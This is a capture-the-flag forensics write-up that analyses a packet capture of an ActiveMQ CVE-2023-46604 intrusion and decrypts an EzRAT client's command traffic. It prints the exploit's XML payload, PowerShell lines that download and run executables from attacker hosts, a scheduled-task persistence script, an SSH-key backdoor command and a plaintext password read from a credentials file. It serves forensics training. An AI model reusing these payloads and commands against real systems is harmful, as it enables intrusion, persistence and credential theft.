07th February 2024 / Document No. D24.102.XX
Prepared By: Nauten, thewildspirit
Challenge Author(s): Nauten
Difficulty: Medium
Classification: Official
Data siege is a medium forensics challenge involving analyzing the .pcap, understanding that ActiveMQ vulnerability is the entry point, extracting a .NET compiled exe binary, analyzing it, and recovering the information needed to obtain the flag (decrypting the communication between client and server).
- It was a tranquil night in the Phreaks headquarters, when the entire district erupted in chaos. Unknown assailants, rumored to be a rogue foreign faction, have infiltrated the city's messaging system and critical infrastructure. Garbled transmissions crackle through the airwaves, spewing misinformation and disrupting communication channels. We need to understand which data has been obtained from this attack to reclaim control of the communication backbone. Note: Flag is split into three parts.
- Familiarity with network protocol analyzers
- Familiarity with .NET programming languages
- Network analysis
- Decompiling .NET executables
- Decrypting encrypted network traffic
- Analyzing and investigating open-source RAT software
Players are provided with the following file:
- capture.pcap
Let's analyze the pcap file in order.
There is some traffic exchanged on port `61616``. This one corresponds to ActiveMQ.
And, in one of these requests there is this information:
ProviderVersion ..5.18.2
CVE is reported for this version: https://nvd.nist.gov/vuln/detail/CVE-2023-46604 (RCE). This is the attacker's entry point.
There is this request:
GET /nBISC4YJKs7j4I HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.19
Host: 10.10.10.21:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
HTTP/1.1 200 OK
Content-Type: application/xml
Connection: Keep-Alive
Pragma: no-cache
Server: Apache
Content-Length: 651
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="WHgLtpJX" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value><![CDATA[powershell Invoke-WebRequest 'http://10.10.10.21:8000/aQ4caZ.exe' -OutFile 'C:\temp\aQ4caZ.exe'; Start-Process 'c:\temp\aQ4caZ.exe']]></value>
</list>
</constructor-arg>
</bean>
</beans>
An exe file gets downloaded and executed.
GET /aQ4caZ.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.17763.316
Host: 10.10.10.21:8000
Connection: Keep-Alive
The connection is HTTP so we can exfiltrate aQ4caZ.exe
file content.
On Wireshark use the option:
Export objects -> HTTP -> select the .exe file and save it.
There is some traffic on port 1234 (nonstandard), the data seems to be encrypted.
$ file aQ4caZ.exe
aQ4caZ.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Open the exfiltrated .exe file with dnSpy.
It shows the name "EzRatClient", this also leads to the repo that contains base code (also if it's not strictly needed):
https://github.com/Exo-poulpe/EZRAT
Let's focus on the "Program" section.
It's possible to see the Decrypt function:
public static string Decrypt(string cipherText)
{
string result;
try
{
string encryptKey = Constantes.EncryptKey;
byte[] array = Convert.FromBase64String(cipherText);
using (Aes aes = Aes.Create())
{
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[]
{
86,
101,
114,
121,
95,
83,
51,
99,
114,
51,
116,
95,
83
});
aes.Key = rfc2898DeriveBytes.GetBytes(32);
aes.IV = rfc2898DeriveBytes.GetBytes(16);
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(array, 0, array.Length);
cryptoStream.Close();
}
cipherText = Encoding.Default.GetString(memoryStream.ToArray());
}
}
result = cipherText;
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine("Cipher Text: " + cipherText);
result = "error";
}
return result;
}
There is a key provided inside rfc2898DeriveBytes
object.
And also a reference to encryptKey
that is contained inside constantes.cs
:
private static string _encryptKey = "VYAemVeO3zUDTL6N62kVA";
In this way, it's possible to decode the encrypted traffic.
Command parser:
private static string[] GetCommands(string rawData)
{
List<string> list = new List<string>();
int num = 0;
for (int i = 0; i < rawData.Length; i++)
{
char c = rawData[i];
bool flag = c == '§';
if (flag)
{
int num2 = int.Parse(rawData.Substring(num, i - num));
string item = rawData.Substring(i + 1, num2);
i += 1 + num2;
num = i;
list.Add(item);
}
}
return list.ToArray();
}
Looking at the pcap dump it's possible to notice this structure:
24§1BhuY4/niTopIBHAN6vvmQ==
gs1pJD3U5aold1QaI/LdE+huVKxpC/azbuWUTstbgrbAU9zWdG7mtO0k+T9Mr0X8OBKR254z6toIOEZjd4PACN8tD+nT2n3Pun5DAbmX31vvI+BHavd4pDHEo26YKaUw
Combining the information it's more clear that:
24 in this case is the length of the string that is next to the §
character.
The second line is the response.
So when the string contains §
character is a command, in other cases is a response.
It's also possible to filter on streams (using Wireshark) separating requests and responses.
The response handler code:
private static void ReceiveResponse()
{
byte[] array = new byte[4096];
try
{
int num = Program._clientSocket.Receive(array, SocketFlags.None);
bool flag = num == 0;
if (!flag)
{
byte[] array2 = new byte[num];
Array.Copy(array, array2, num);
bool flag2 = Program.isFileDownload;
if (flag2)
{
Buffer.BlockCopy(array2, 0, Program.recvFile, Program.writeSize, array2.Length);
Program.writeSize += array2.Length;
bool flag3 = Program.writeSize == Program.fup_size;
if (flag3)
{
using (FileStream fileStream = File.Create(Program.fup_location))
{
byte[] array3 = Program.recvFile;
fileStream.Write(array3, 0, array3.Length);
}
Array.Clear(Program.recvFile, 0, Program.recvFile.Length);
Program.SendCommand("frecv");
Program.writeSize = 0;
Program.isFileDownload = false;
}
}
else
{
string @string = Encoding.Default.GetString(array2);
Console.WriteLine(@string);
string[] commands = Program.GetCommands(@string);
foreach (string cipherText in commands)
{
Program.HandleCommand(Program.Decrypt(cipherText));
}
}
}
}
catch (Exception ex)
{
Console.WriteLine("Connection ended\n" + ex.Message);
Program.isDisconnect = true;
}
}
A different handling is managed for file transfers.
With all this information we can decode the traffic.
Extract all traffic on port 1234 as "Raw" format saving it to output.txt file:
tshark -r capture.pcap -T fields -e data -Y "tcp.port == 1234" > output.txt
In this way, each row is encoded as HEX (without the risk of losing characters due to encoding).
using System;
using System.Security.Cryptography;
using System.IO;
using System.Text;
namespace Decode1
{
public class Program
{
static void Main(string[] args)
{
string content = File.ReadAllText(@"c:\users\user\desktop\ez\output.txt");
var check_new_line = content.IndexOf('\n');
if (check_new_line > 0)
{
string[] contents_split = content.Split('\n');
foreach (string content_split in contents_split)
{
Parser(content_split);
}
}
else
{
Parser(content);
}
Console.WriteLine("Press any key to exit..");
Console.ReadLine();
}
static void Parser(string content)
{
byte[] bytes = FromHexString(content);
string contentraw = Encoding.GetEncoding("windows-1252").GetString(bytes);
if (!string.IsNullOrEmpty(contentraw))
{
if (contentraw.Contains("§"))
{
Console.WriteLine("Request:");
Console.WriteLine(Decrypt(contentraw.Split('§')[1]));
}
else
{
// Chunks should be concatenated manually to obtain the complete data because data is splitted on multiple streams sometimes
Console.WriteLine("Response chunk:");
string decoded = Decrypt(contentraw);
// Content is already in plaintext
if (String.IsNullOrEmpty(decoded))
Console.WriteLine(contentraw);
else
Console.WriteLine(decoded);
}
}
}
static byte[] FromHexString(string hexString)
{
byte[] bytes = new byte[hexString.Length / 2];
for (int i = 0; i < bytes.Length; i++)
{
bytes[i] = Convert.ToByte(hexString.Substring(i * 2, 2), 16);
}
return bytes;
}
static string Decrypt(string cipherText)
{
try
{
string EncryptionKey = "VYAemVeO3zUDTL6N62kVA";
byte[] cipherBytes = System.Convert.FromBase64String(cipherText);
using (Aes encryptor = Aes.Create())
{
Rfc2898DeriveBytes pdb = new Rfc2898DeriveBytes(EncryptionKey, new byte[] { 0x56, 0x65, 0x72, 0x79, 0x5f, 0x53, 0x33, 0x63, 0x72, 0x33, 0x74, 0x5f, 0x53 });
encryptor.Key = pdb.GetBytes(32);
encryptor.IV = pdb.GetBytes(16);
using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new CryptoStream(ms, encryptor.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(cipherBytes, 0, cipherBytes.Length);
cs.Close();
}
cipherText = Encoding.Default.GetString(ms.ToArray());
}
}
return cipherText;
}
catch (Exception)
{
return null;
}
}
}
}
getinfo command is used to get basic OS information
Request:
getinfo-0
Response chunk:
infoback;0;10.10.10.22|SRV01|SRV01\svc01|Windows 10 Enterprise Evaluation|0.1.6.1
procview function is used to see running processes
Request:
procview;
Response chunk:
procview;svchost▌2060;svchost▌5316;ApplicationFrameHost▌4920;csrss▌388;svchost▌1372;svchost▌832;VBoxTray▌2748;fontdrvhost▌684;services▌576;svchost▌3528;lsass▌584;svchost▌6872;svchost▌1552;spoolsv▌1748;VBoxService▌1156;svchost▌760;conhost▌4108;svchost▌1152;dllhost▌6864;svchost▌2528;svchost▌1936;Memory Compression▌1428;RuntimeBroker▌4692;svchost▌4112;svchost▌1932;svchost▌748;smss▌284;svchost▌1140;svchost▌6852;svchost▌2320;MicrosoftEdge▌5076;svchost▌1332;svchost▌740;svchost▌3888;conhost▌4896;dwm▌340;java▌6052;svchost▌928;svchost▌3488;YourPhone▌1320;svchost▌1516;dllhost▌4204;SearchUI▌4664;svchost▌328;winlogon▌524;SgrmBroker▌6628;svchost▌2096;svchost▌1504;cmd▌2488;svchost▌1304;NisSrv▌2336;MicrosoftEdgeSH▌5636;svchost▌1104;browser_broker▌4592;svchost▌1100;svchost▌5284;explorer▌4052;svchost▌1164;svchost▌2076;svchost▌1680;aQ4caZ▌7148;svchost▌692;svchost▌100;dumpcap▌3516;MsMpEng▌2260;RuntimeBroker▌4820;svchost▌1272;Microsoft.Photos▌6392;svchost▌3436;fontdrvhost▌676;cmd▌84;taskhostw▌3628;RuntimeBroker▌6188;RuntimeBroker▌1384;java▌7028;MicrosoftEdgeCP▌5592;svchost▌1256;svchost▌3816;csrss▌464;Registry▌68;sihost▌3416;SecurityHealthSystray▌3156;svchost▌6368;svchost▌6564;wininit▌456;ctfmon▌3940;svchost▌1636;SecurityHealthService▌844;svchost▌1040;svchost▌2024;svchost▌6980;svchost▌1628;svchost▌1824;svchost▌1288;wlms▌2216;RuntimeBroker▌5564;svchost▌5364;svchost▌1620;svchost▌2012;svchost▌396;svchost▌6540;RuntimeBroker▌6780;WindowsInternal.ComposableShell.Experiences.TextInput.InputApp▌2200;svchost▌1604;svchost▌788;svchost▌1400;uhssvc▌6824;SearchIndexer▌5532;svchost▌4940;svchost▌3560;svchost▌1392;svchost▌1588;svchost▌1784;wrapper▌2176;svchost▌2568;ShellExperienceHost▌4536;System▌4;conhost▌2368;OneDrive▌1184;svchost▌1472;Idle▌0;
Nothing useful
cmd function is used to run some commands on the remote machine
Request:
cmd;C:\;hostname
Response chunk:
cmd;C:\;srv01
Request:
cmd;C:\;whoami
Response chunk:
cmd;C:\;srv01\svc01
Request:
cmd;C:\;echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwyPZCQyJ/s45lt+cRqPhJj5qrSqd8cvhUaDhwsAemRey2r7Ta+wLtkWZobVIFS4HGzRobAw9s3hmFaCKI8GvfgMsxDSmb0bZcAAkl7cMzhA1F418CLlghANAPFM6Aud7DlJZUtJnN2BiTqbrjPmBuTKeBxjtI0uRTXt4JvpDKx9aCMNEDKGcKVz0KX/hejjR/Xy0nJxHWKgudEz3je31cVow6kKqp3ZUxzZz9BQlxU5kRp4yhUUxo3Fbomo6IsmBydqQdB+LbHGURUFLYWlWEy+1otr6JBwpAfzwZOYVEfLypl3Sjg+S6Fd1cH6jBJp/mG2R2zqCKt3jaWH5SJz13 HTB{REDACTED >> C:\Users\svc01\.ssh\authorized_keys
Response chunk:
cmd;C:\;
Request:
cmd;C:\;dir C:\Users\svc01\Documents
Response chunk:
cmd;C:\; Volume in drive C is Windows 10
Volume Serial Number is B4A6-FEC6
Directory of C:\Users\svc01\Documents
02/28/2024 07:13 AM <DIR> .
02/28/2024 07:13 AM <DIR> ..
02/28/2024 05:14 AM 76 credentials.txt
1 File(s) 76 bytes
2 Dir(s) 24,147,230,720 bytes free
Request:
cmd;C:\;type C:\Users\svc01\Documents\credentials.txt
Response chunk:
cmd;C:\;Username: svc01
Password: Passw0rdCorp5421
2nd flag part: REDACTED
lsdrives used to enumerate mapped drives on the machine
lsfiles used to list files of the folder c:\temp
Request:
lsdrives
Response chunk:
lsdrives;C:\|
Request:
lsfiles
Request:
Response chunk:
lsfiles;C:\;$Recycle.Bin▌2|BGinfo▌2|Boot▌2|Documents and Settings▌2|PerfLogs▌2|Program Files▌2|Program Files (x86)▌2|ProgramData▌2|Recovery▌2|System Volume Information▌2|temp▌2|Users▌2|Windows▌2|bootmgr▌1▌408364|BOOTNXT▌1▌1|BOOTSECT.BAK▌1▌8192|bootTel.dat▌1▌80|pagefile.sys▌1▌738197504|swapfile.sys▌1▌268435456|
Response chunk:
lsfiles;C:\;$Recycle.Bin▌2|BGinfo▌2|Boot▌2|Documents and Settings▌2|PerfLogs▌2|Program Files▌2|Program Files (x86)▌2|ProgramData▌2|Recovery▌2|System Volume Information▌2|temp▌2|Users▌2|Windows▌2|bootmgr▌1▌408364|BOOTNXT▌1▌1|BOOTSECT.BAK▌1▌8192|bootTel.dat▌1▌80|pagefile.sys▌1▌738197504|swapfile.sys▌1▌268435456|
Request:
lsfiles-C:\temp\
Response chunk:
lsfiles;C:\temp\;aQ4caZ.exe▌1▌29184|
And then a file is uploaded there:
Request:
upfile;C:\temp\4AcFrqA.ps1
Response chunk:
powershell.exe -encoded "CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA="
AcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB
Response chunk:
1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8
Response chunk:
upfilestop;
We can see that the response is split into two chunks with the content of file 4AcFrqA.ps1
.
The part we need is the one enclosed in double quotes, decoding it from base64 and removing diatrics gives:
(New-Object System.Net.WebClient).DownloadFile("https://windowsliveupdater.com/4fva.exe", "C:\Users\svc01\AppData\Roaming\4fva.exe")
$action = New-ScheduledTaskAction -Execute "C:\Users\svc01\AppData\Roaming\4fva.exe"
$trigger = New-ScheduledTaskTrigger -Daily -At 2:00AM
$settings = New-ScheduledTaskSettingsSet
# 3th flag part:
Register-ScheduledTask -TaskName "REDACTED}" -Action $action -Trigger $trigger -Settings $settings
Concatenating all flags parts the full flag can be obtained.